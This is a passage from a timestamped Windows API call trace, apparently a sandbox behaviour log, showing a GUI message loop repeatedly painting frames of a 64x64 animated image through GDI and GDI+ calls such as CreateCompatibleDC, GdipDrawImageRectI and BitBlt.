(hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0152.348] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0152.348] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.348] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.348] WaitMessage () returned 1 [0152.525] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.525] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.525] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.525] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.526] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.526] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0152.526] GetCurrentThreadId () returned 0xec0 [0152.526] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0152.526] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.526] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.526] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.526] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.526] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.526] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0152.526] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0152.526] CreateCompatibleDC (hdc=0x3010b83) returned 0x43010b91 [0152.527] SelectObject (hdc=0x43010b91, h=0x1a05067e) returned 0x185000f [0152.527] GdipCreateFromHDC (hdc=0x43010b91, graphics=0x15daf0) returned 0x0 [0152.527] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0152.527] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0152.527] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0152.527] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0152.527] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0152.527] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.527] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0152.528] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.528] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.528] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0152.528] GdipCreateRegion (region=0x15dc20) returned 0x0 [0152.528] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0152.528] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0152.528] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0152.528] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.528] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.529] GetSystemMetrics (nIndex=42) returned 0 [0152.529] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.529] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.529] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.529] CoTaskMemFree (pv=0x1e91eca0) [0152.529] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0152.529] GdipCreateRegion (region=0x15d710) returned 0x0 [0152.529] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0152.529] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0152.529] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0152.529] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0152.529] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.529] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.530] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.530] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0152.530] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.530] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.531] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.531] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.531] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0152.531] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0152.531] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0152.531] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0152.531] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.531] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0152.531] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0152.531] GetCurrentObject (hdc=0x43010b91, type=0x1) returned 0x1b00017 [0152.531] GetCurrentObject (hdc=0x43010b91, type=0x2) returned 0x1900010 [0152.532] GetCurrentObject (hdc=0x43010b91, type=0x7) returned 0x1a05067e [0152.532] GetCurrentObject (hdc=0x43010b91, type=0x6) returned 0x18a002e [0152.532] SaveDC (hdc=0x43010b91) returned 1 [0152.532] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffcd040b8a [0152.532] GetClipRgn (hdc=0x43010b91, hrgn=0xffffffffcd040b8a) returned 0 [0152.532] SelectClipRgn (hdc=0x43010b91, hrgn=0xfffffffffd0407c3) returned 2 [0152.532] DeleteObject (ho=0xffffffffcd040b8a) returned 1 [0152.532] DeleteObject (ho=0xfffffffffd0407c3) returned 1 [0152.532] OffsetViewportOrgEx (in: hdc=0x43010b91, x=0, y=0, lppt=0x2700888 | out: lppt=0x2700888) returned 1 [0152.532] GetNearestColor (hdc=0x43010b91, color=0xffffff) returned 0xffffff [0152.532] CreateSolidBrush (color=0xffffff) returned 0xffffffffd5100190 [0152.533] FillRect (hDC=0x43010b91, lprc=0x15d7c0, hbr=0xffffffffd5100190) returned 1 [0152.533] DeleteObject (ho=0xffffffffd5100190) returned 1 [0152.533] RestoreDC (hdc=0x43010b91, nSavedDC=-1) returned 1 [0152.533] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.533] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x43010b91) returned 0x0 [0152.533] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc3c0dbd) returned 0x0 [0152.533] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.533] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0152.533] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.533] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.533] GetSystemMetrics (nIndex=42) returned 0 [0152.533] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.533] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.533] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.534] CoTaskMemFree (pv=0x1e91eca0) [0152.534] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0152.536] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0152.536] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0152.536] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0152.536] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0152.536] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x43010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0152.536] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.536] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x43010b91) returned 0x0 [0152.536] SelectObject (hdc=0x43010b91, h=0x185000f) returned 0x1a05067e [0152.536] DeleteDC (hdc=0x43010b91) returned 1 [0152.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.537] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0152.537] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0152.537] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0152.537] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.537] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.537] WaitMessage () returned 1 [0152.714] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.714] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.714] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.714] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.714] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.714] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0152.714] GetCurrentThreadId () returned 0xec0 [0152.714] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0152.714] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.714] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.714] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.714] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.714] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.715] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0152.715] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0152.715] CreateCompatibleDC (hdc=0x3010b83) returned 0x140106f8 [0152.715] SelectObject (hdc=0x140106f8, h=0x1a05067e) returned 0x185000f [0152.715] GdipCreateFromHDC (hdc=0x140106f8, graphics=0x15daf0) returned 0x0 [0152.715] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0152.715] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0152.715] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0152.716] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0152.716] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0152.716] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.716] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0152.716] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.717] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0152.717] GdipCreateRegion (region=0x15dc20) returned 0x0 [0152.717] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0152.717] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0152.717] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0152.717] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.717] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.717] GetSystemMetrics (nIndex=42) returned 0 [0152.717] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.717] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.717] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.717] CoTaskMemFree (pv=0x1e91eca0) [0152.717] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0152.718] GdipCreateRegion (region=0x15d710) returned 0x0 [0152.718] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0152.718] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0152.718] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0152.718] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0152.718] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.718] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.718] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.719] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0152.719] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.719] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.719] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.719] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.720] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0152.720] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0152.720] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0152.720] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0152.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.720] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0152.720] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0152.720] GetCurrentObject (hdc=0x140106f8, type=0x1) returned 0x1b00017 [0152.720] GetCurrentObject (hdc=0x140106f8, type=0x2) returned 0x1900010 [0152.720] GetCurrentObject (hdc=0x140106f8, type=0x7) returned 0x1a05067e [0152.720] GetCurrentObject (hdc=0x140106f8, type=0x6) returned 0x18a002e [0152.720] SaveDC (hdc=0x140106f8) returned 1 [0152.720] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffffe0407c3 [0152.721] GetClipRgn (hdc=0x140106f8, hrgn=0xfffffffffe0407c3) returned 0 [0152.721] SelectClipRgn (hdc=0x140106f8, hrgn=0xffffffffce040b8a) returned 2 [0152.721] DeleteObject (ho=0xfffffffffe0407c3) returned 1 [0152.721] DeleteObject (ho=0xffffffffce040b8a) returned 1 [0152.721] OffsetViewportOrgEx (in: hdc=0x140106f8, x=0, y=0, lppt=0x2701b70 | out: lppt=0x2701b70) returned 1 [0152.721] GetNearestColor (hdc=0x140106f8, color=0xffffff) returned 0xffffff [0152.721] CreateSolidBrush (color=0xffffff) returned 0xffffffffd6100190 [0152.721] FillRect (hDC=0x140106f8, lprc=0x15d7c0, hbr=0xffffffffd6100190) returned 1 [0152.721] DeleteObject (ho=0xffffffffd6100190) returned 1 [0152.721] RestoreDC (hdc=0x140106f8, nSavedDC=-1) returned 1 [0152.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.722] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x140106f8) returned 0x0 [0152.722] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc3a0dbd) returned 0x0 [0152.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.722] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0152.722] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.722] GetSystemMetrics (nIndex=42) returned 0 [0152.722] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.722] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.722] CoTaskMemFree (pv=0x1e91eca0) [0152.722] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0152.723] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0152.723] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0152.723] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0152.723] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x140106f8, x1=0, y1=0, rop=0xcc0020) returned 1 [0152.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.723] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x140106f8) returned 0x0 [0152.723] SelectObject (hdc=0x140106f8, h=0x185000f) returned 0x1a05067e [0152.723] DeleteDC (hdc=0x140106f8) returned 1 [0152.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.723] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0152.724] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0152.724] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0152.724] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.724] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.724] WaitMessage () returned 1 [0152.929] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.929] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.929] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.929] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.929] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0152.929] GetCurrentThreadId () returned 0xec0 [0152.929] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0152.929] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.929] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.929] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.929] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.929] DispatchMessageW (lpMsg=0x15e910) returned 0x160106f8 [0152.929] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0152.930] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0152.930] CreateCompatibleDC (hdc=0x3010b83) returned 0x160106f8 [0152.930] SelectObject (hdc=0x160106f8, h=0x1a05067e) returned 0x185000f [0152.930] GdipCreateFromHDC (hdc=0x160106f8, graphics=0x15daf0) returned 0x0 [0152.930] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0152.930] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0152.930] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0152.930] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0152.931] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0152.931] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.931] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0152.931] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.932] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.932] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0152.932] GdipCreateRegion (region=0x15dc20) returned 0x0 [0152.932] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0152.932] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0152.932] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0152.932] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.932] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.932] GetSystemMetrics (nIndex=42) returned 0 [0152.932] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.932] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.932] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.932] CoTaskMemFree (pv=0x1e91eca0) [0152.932] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0152.933] GdipCreateRegion (region=0x15d710) returned 0x0 [0152.933] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0152.933] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0152.933] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0152.933] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0152.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.933] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.934] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.934] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0152.934] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.934] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.934] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.935] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.935] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0152.935] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0152.935] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0152.935] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0152.935] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.935] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0152.935] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0152.935] GetCurrentObject (hdc=0x160106f8, type=0x1) returned 0x1b00017 [0152.936] GetCurrentObject (hdc=0x160106f8, type=0x2) returned 0x1900010 [0152.936] GetCurrentObject (hdc=0x160106f8, type=0x7) returned 0x1a05067e [0152.936] GetCurrentObject (hdc=0x160106f8, type=0x6) returned 0x18a002e [0152.936] SaveDC (hdc=0x160106f8) returned 1 [0152.936] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffcf040b8a [0152.936] GetClipRgn (hdc=0x160106f8, hrgn=0xffffffffcf040b8a) returned 0 [0152.936] SelectClipRgn (hdc=0x160106f8, hrgn=0xffffffffff0407c3) returned 2 [0152.937] DeleteObject (ho=0xffffffffcf040b8a) returned 1 [0152.937] DeleteObject (ho=0xffffffffff0407c3) returned 1 [0152.937] OffsetViewportOrgEx (in: hdc=0x160106f8, x=0, y=0, lppt=0x27024a8 | out: lppt=0x27024a8) returned 1 [0152.937] GetNearestColor (hdc=0x160106f8, color=0xffffff) returned 0xffffff [0152.937] CreateSolidBrush (color=0xffffff) returned 0xffffffffd7100190 [0152.937] FillRect (hDC=0x160106f8, lprc=0x15d7c0, hbr=0xffffffffd7100190) returned 1 [0152.937] DeleteObject (ho=0xffffffffd7100190) returned 1 [0152.937] RestoreDC (hdc=0x160106f8, nSavedDC=-1) returned 1 [0152.937] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.937] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x160106f8) returned 0x0 [0152.938] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc380dbd) returned 0x0 [0152.938] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.938] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0152.938] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.938] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.938] GetSystemMetrics (nIndex=42) returned 0 [0152.938] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.938] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.938] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.938] CoTaskMemFree (pv=0x1e91eca0) [0152.938] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0152.941] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0152.941] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0152.941] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0152.941] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0152.941] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x160106f8, 